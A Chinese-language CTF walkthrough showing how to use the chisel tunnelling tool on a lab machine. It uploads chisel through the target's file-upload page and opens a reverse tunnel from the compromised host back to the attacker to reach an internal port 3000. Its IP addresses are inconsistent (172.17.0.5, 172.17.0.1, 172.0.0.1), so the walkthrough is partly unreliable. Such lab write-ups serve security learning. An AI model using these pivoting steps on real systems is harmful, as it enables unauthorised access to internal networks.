在介紹chisel之前,要先了解什麼是隧道。我們常聽到的VPN,其實就是隧道的一種應用。但是隧道跟VPN又不全然是相同的。
下圖為Chisel github頁面的解說圖,隧道這個技術是進行虛擬的點對點連接,利用HTTP網路傳輸其他協定產生的資料。它也是一種封裝技術,將資料切成一塊一塊的傳輸。Chisel是利用Go語言撰寫的,也因此相對穩定以及快速。
這個範例我以靶機OpenSource說明如何使用chisel,目前我們已獲得初步的存取權,也發現目標主機有兩張網卡,其中一張的ip為172.17.0.5,它port3000是開啟的,但是無法直接連線,因此我們將用chisel,讓我們的主機與目標port3000連線。另外,我們在目標上也發現目錄upcloud能夠讓使用者上傳檔案。
首先,先下載執行檔,我們本地主機為kali下載amd64版本,目標主機為386版本。
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gzip -d chisel_1.9.1_linux_amd64.gz
mv chisel_1.9.1_linux_amd64 chisel
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_386.gz
gzip -d chisel_1.9.1_linux_386.gz
mv chisel_1.9.1_linux_386 chisel_386
上述指令下載了我們所需的兩個版本的chisel,分別在目標以及本機執行,並且重新命名。
接著,訪問http://10.10.11.164/upcloud ,上傳386版本的chisel至目標。
上傳完成後,先在我們本地開啟chisel,並當作隧道的伺服器。
./chisel server --reverse -p 9001
-p
設置開啟哪個port,在此我們將port設置為9001。
成功後就會看到上方的畫面。
接著,在目標靶機上執行chisel當作客戶端。
cd /app/public/uploads
chmod +x chisel_386
./chisel_386 client [ip]:9001 R:3000:172.17.0.1:3000
這裡的[ip]根據每個人的ip不同設置,R:3000
設置我們自己主機所監聽的port,後面就是指定目標主機:目標port
。
受害主機執行成功後會看到以下的畫面。
下圖為,chisel執行的示意圖,駭客端會先監聽9001,接著再受害目標執行轉發port,讓駭客就能夠在自己的主機上連線至目標的3000 port。
執行完後,當我們瀏覽從畚箕造訪port 3000(http://172.0.0.1:3000) 時,就能夠看到目標的網頁。
今天的介紹到此結束,謝謝:)